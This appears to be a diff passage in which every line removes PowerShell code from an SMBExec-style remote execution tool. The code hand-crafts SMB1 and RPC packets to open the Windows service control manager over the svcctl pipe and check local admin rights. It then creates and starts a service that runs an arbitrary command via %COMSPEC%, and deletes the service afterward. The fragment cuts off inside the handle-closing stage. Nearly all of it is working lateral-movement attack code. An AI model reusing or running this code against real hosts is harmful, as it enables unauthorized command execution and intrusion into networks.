-            $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length)
-            $SMB_service_random += '00-00-00-00-00'
-            $SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-        }
-        else
-        {
-            $SMB_service = $Service
-            $SMB_service_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_service)
-
-            if([Bool]($SMB_service.Length % 2))
-            {
-                $SMB_service_bytes += 0x00,0x00
-            }
-            else
-            {
-                $SMB_service_bytes += 0x00,0x00,0x00,0x00
-                
-            }
-
-        }
-        
-        $SMB_service_length = [System.BitConverter]::GetBytes($SMB_service.Length + 1)
-
-        if($CommandCOMSPEC -eq 'Y')
-        {
-            $Command = "%COMSPEC% /C `"" + $Command + "`""
-        }
-        else
-        {
-            $Command = "`"" + $Command + "`""
-        }
-
-        [System.Text.Encoding]::UTF8.GetBytes($Command) | ForEach-Object{$SMBExec_command += "{0:X2}-00-" -f $_}
-
-        if([Bool]($Command.Length % 2))
-        {
-            $SMBExec_command += '00-00'
-        }
-        else
-        {
-            $SMBExec_command += '00-00-00-00'
-        }    
-        
-        $SMBExec_command_bytes = $SMBExec_command.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}  
-        $SMBExec_command_length_bytes = [System.BitConverter]::GetBytes($SMBExec_command_bytes.Length / 2)
-        $SMB_split_index = 4256
-        
-        if($SMB_version -eq 'SMB1')
-        {
-            $SMB_client_stage = 'TreeConnectAndXRequest'
-
-            :SMB_execute_loop while ($SMB_client_stage -ne 'exit')
-            {
-            
-                switch ($SMB_client_stage)
-                {
-            
-                    'TreeConnectAndXRequest'
-                    {
-                        $packet_SMB_header = New-PacketSMBHeader 0x75 0x18 0x01,0x48 0xff,0xff $process_ID $SMB_user_ID
-
-                        if($SMB_signing)
-                        {
-                            $MD5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
-                            $packet_SMB_header["Flags2"] = 0x05,0x48
-                            $SMB_signing_counter = 2 
-                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
-                            $packet_SMB_header["Signature"] = $SMB_signing_sequence
-                        }
-
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   
-                        $packet_SMB_data = New-PacketSMBTreeConnectAndXRequest $SMB_path_bytes
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $session_key + $SMB_header + $SMB_data 
-                            $SMB_signature = $MD5.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..7]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $SMB_client_stage = 'CreateAndXRequest'
-                    }
-                  
-                    'CreateAndXRequest'
-                    {
-                        $SMB_named_pipe_bytes = 0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00 # \svcctl
-                        $SMB_tree_ID = $SMB_client_receive[28,29]
-                        $packet_SMB_header = New-PacketSMBHeader 0xa2 0x18 0x02,0x28 $SMB_tree_ID $process_ID $SMB_user_ID
-
-                        if($SMB_signing)
-                        {
-                            $packet_SMB_header["Flags2"] = 0x05,0x48
-                            $SMB_signing_counter = $SMB_signing_counter + 2
-                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
-                            $packet_SMB_header["Signature"] = $SMB_signing_sequence
-                        }
-
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   
-                        $packet_SMB_data = New-PacketSMBNTCreateAndXRequest $SMB_named_pipe_bytes
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $session_key + $SMB_header + $SMB_data 
-                            $SMB_signature = $MD5.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..7]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $SMB_client_stage = 'RPCBind'
-                    }
-                
-                    'RPCBind'
-                    {
-                        $SMB_FID = $SMB_client_receive[42,43]
-                        $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID
-
-                        if($SMB_signing)
-                        {
-                            $packet_SMB_header["Flags2"] = 0x05,0x48
-                            $SMB_signing_counter = $SMB_signing_counter + 2 
-                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
-                            $packet_SMB_header["Signature"] = $SMB_signing_sequence
-                        }
-
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $packet_RPC_data = New-PacketRPCBind 0x48,0x00 1 0x01 0x00,0x00 $named_pipe_UUID 0x02,0x00
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data
-                            $SMB_signature = $MD5.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..7]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $SMB_client_stage = 'ReadAndXRequest'
-                        $SMB_client_stage_next = 'OpenSCManagerW'
-                    }
-               
-                    'ReadAndXRequest'
-                    {
-                        Start-Sleep -m $Sleep
-                        $packet_SMB_header = New-PacketSMBHeader 0x2e 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID
-
-                        if($SMB_signing)
-                        {
-                            $packet_SMB_header["Flags2"] = 0x05,0x48
-                            $SMB_signing_counter = $SMB_signing_counter + 2 
-                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
-                            $packet_SMB_header["Signature"] = $SMB_signing_sequence
-                        }
-
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   
-                        $packet_SMB_data = New-PacketSMBReadAndXRequest $SMB_FID
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $session_key + $SMB_header + $SMB_data 
-                            $SMB_signature = $MD5.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..7]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $SMB_client_stage = $SMB_client_stage_next
-                    }
-                
-                    'OpenSCManagerW'
-                    {
-                        $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID
-
-                        if($SMB_signing)
-                        {
-                            $packet_SMB_header["Flags2"] = 0x05,0x48
-                            $SMB_signing_counter = $SMB_signing_counter + 2 
-                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
-                            $packet_SMB_header["Signature"] = $SMB_signing_sequence
-                        }
-
-                        $packet_SCM_data = New-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length
-                        $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   
-                        $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length)
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 
-                        $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data
-                            $SMB_signature = $MD5.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..7]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $SMB_client_stage = 'ReadAndXRequest'
-                        $SMB_client_stage_next = 'CheckAccess'           
-                    }
-
-                    'CheckAccess'
-                    {
-
-                        if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[88..107]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00')
-                        {
-                            $SMB_service_manager_context_handle = $SMB_client_receive[88..107]
-
-                            if($SMB_execute)
-                            {
-                                Write-Verbose "$output_username is a local administrator on $Target"  
-                                $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes
-                                $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
-
-                                if($SCM_data.Length -lt $SMB_split_index)
-                                {
-                                    $SMB_client_stage = 'CreateServiceW'
-                                }
-                                else
-                                {
-                                    $SMB_client_stage = 'CreateServiceW_First'
-                                }
-
-                            }
-                            else
-                            {
-                                Write-Output "$output_username is a local administrator on $Target"
-                                $SMB_close_service_handle_stage = 2
-                                $SMB_client_stage = 'CloseServiceHandle'
-                            }
-
-                        }
-                        elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '05-00-00-00')
-                        {
-                            Write-Output "$output_username is not a local administrator or does not have required privilege on $Target"
-                            $SMBExec_failed = $true
-                        }
-                        else
-                        {
-                            Write-Output "Something went wrong with $Target"
-                            $SMBExec_failed = $true
-                        }
-
-                    }
-                
-                    'CreateServiceW'
-                    {
-                        $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID
-                        
-                        if($SMB_signing)
-                        {
-                            $packet_SMB_header["Flags2"] = 0x05,0x48
-                            $SMB_signing_counter = $SMB_signing_counter + 2 
-                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
-                            $packet_SMB_header["Signature"] = $SMB_signing_sequence
-                        }
-
-                        $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes
-                        $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   
-                        $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length)
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                             
-                        $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data
-                            $SMB_signature = $MD5.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..7]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $SMB_client_stage = 'ReadAndXRequest'
-                        $SMB_client_stage_next = 'StartServiceW'
-                    }
-
-                    'CreateServiceW_First'
-                    {
-                        $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index)
-                        $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID
-
-                        if($SMB_signing)
-                        {
-                            $packet_SMB_header["Flags2"] = 0x05,0x48
-                            $SMB_signing_counter = $SMB_signing_counter + 2 
-                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
-                            $packet_SMB_header["Signature"] = $SMB_signing_sequence
-                        }
-
-                        $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)]
-                        $packet_RPC_data = New-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first
-                        $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length)
-                        $SMB_split_index_tracker = $SMB_split_index
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data     
-                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data
-                            $SMB_signature = $MD5.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..7]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-
-                        if($SMB_split_stage_final -le 2)
-                        {
-                            $SMB_client_stage = 'CreateServiceW_Last'
-                        }
-                        else
-                        {
-                            $SMB_split_stage = 2
-                            $SMB_client_stage = 'CreateServiceW_Middle'
-                        }
-
-                    }
-
-                    'CreateServiceW_Middle'
-                    {
-                        $SMB_split_stage++
-                        $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID
-
-                        if($SMB_signing)
-                        {
-                            $packet_SMB_header["Flags2"] = 0x05,0x48
-                            $SMB_signing_counter = $SMB_signing_counter + 2 
-                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
-                            $packet_SMB_header["Signature"] = $SMB_signing_sequence
-                        }
-
-                        $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)]
-                        $SMB_split_index_tracker += $SMB_split_index
-                        $packet_RPC_data = New-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle
-                        $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index)
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data     
-                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data
-                            $SMB_signature = $MD5.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..7]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-
-                        if($SMB_split_stage -ge $SMB_split_stage_final)
-                        {
-                            $SMB_client_stage = 'CreateServiceW_Last'
-                        }
-                        else
-                        {
-                            $SMB_client_stage = 'CreateServiceW_Middle'
-                        }
-
-                    }
-
-                    'CreateServiceW_Last'
-                    {
-                        $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x48 $SMB_tree_ID $process_ID $SMB_user_ID
-
-                        if($SMB_signing)
-                        {
-                            $packet_SMB_header["Flags2"] = 0x05,0x48
-                            $SMB_signing_counter = $SMB_signing_counter + 2 
-                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
-                            $packet_SMB_header["Signature"] = $SMB_signing_sequence
-                        }
-
-                        $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length]
-                        $packet_RPC_data = New-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data 
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   
-                        $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                        $RPC_data_length = $SMB_data.Length + $RPC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data
-                            $SMB_signature = $MD5.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..7]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $SMB_client_stage = 'ReadAndXRequest'
-                        $SMB_client_stage_next = 'StartServiceW'
-                    }
-
-                    'StartServiceW'
-                    {
-                    
-                        if([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '00-00-00-00')
-                        {
-                            Write-Verbose "Service $SMB_service created on $Target"
-                            $SMB_service_context_handle = $SMB_client_receive[92..111]
-                            $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID
-
-                            if($SMB_signing)
-                            {
-                                $packet_SMB_header["Flags2"] = 0x05,0x48
-                                $SMB_signing_counter = $SMB_signing_counter + 2 
-                                [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
-                                $packet_SMB_header["Signature"] = $SMB_signing_sequence
-                            }
-
-                            $packet_SCM_data = New-PacketSCMStartServiceW $SMB_service_context_handle
-                            $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
-                            $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00
-                            $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   
-                            $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length)
-                            $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                             
-                            $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length
-                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                            if($SMB_signing)
-                            {
-                                $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data
-                                $SMB_signature = $MD5.ComputeHash($SMB_sign)
-                                $SMB_signature = $SMB_signature[0..7]
-                                $packet_SMB_header["Signature"] = $SMB_signature
-                                $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                            }
-
-                            $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data
-                            Write-Verbose "Trying to execute command on $Target"
-                            $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                            $SMB_client_stream.Flush()
-                            $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                            $SMB_client_stage = 'ReadAndXRequest'
-                            $SMB_client_stage_next = 'DeleteServiceW'  
-                        }
-                        elseif([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '31-04-00-00')
-                        {
-                            Write-Output "Service $SMB_service creation failed on $Target"
-                            $SMBExec_failed = $true
-                        }
-                        else
-                        {
-                            Write-Output "Service creation fault context mismatch"
-                            $SMBExec_failed = $true
-                        }
-    
-                    }
-                
-                    'DeleteServiceW'
-                    { 
-
-                        if([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '1d-04-00-00')
-                        {
-                            Write-Output "Command executed with service $SMB_service on $Target"
-                        }
-                        elseif([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '02-00-00-00')
-                        {
-                            Write-Output "Service $SMB_service failed to start on $Target"
-                        }
-
-                        $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID
-
-                        if($SMB_signing)
-                        {
-                            $packet_SMB_header["Flags2"] = 0x05,0x48
-                            $SMB_signing_counter = $SMB_signing_counter + 2 
-                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
-                            $packet_SMB_header["Signature"] = $SMB_signing_sequence
-                        }
-
-                        $packet_SCM_data = New-PacketSCMDeleteServiceW $SMB_service_context_handle
-                        $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   
-                        $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length)
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data 
-                        $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data
-                            $SMB_signature = $MD5.ComputeHash($SMB_sign)
-                            $SMB_signature = $SMB_signature[0..7]
-                            $packet_SMB_header["Signature"] = $SMB_signature
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data
-
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $SMB_client_stage = 'ReadAndXRequest'
-                        $SMB_client_stage_next = 'CloseServiceHandle'
-                        $SMB_close_service_handle_stage = 1
-                    }
-
-                    'CloseServiceHandle'
-                    {
-                        if($SMB_close_service_handle_stage -eq 1)
-                        {
-                            Write-Verbose "Service $SMB_service deleted on $Target"
-                            $SMB_close_service_handle_stage++
-                            $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_context_handle
-                        }
-                        else
-                        {
-                            $SMB_client_stage = 'CloseRequest'
-                            $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle
-                        }
-                        $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID
-
-                        if($SMB_signing)
-                        {
-                            $packet_SMB_header["Flags2"] = 0x05,0x48
-                            $SMB_signing_counter = $SMB_signing_counter + 2 
-                            [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
-                            $packet_SMB_header["Signature"] = $SMB_signing_sequence
-                        }
-
-                        $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header   
-                        $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length)
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                        $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
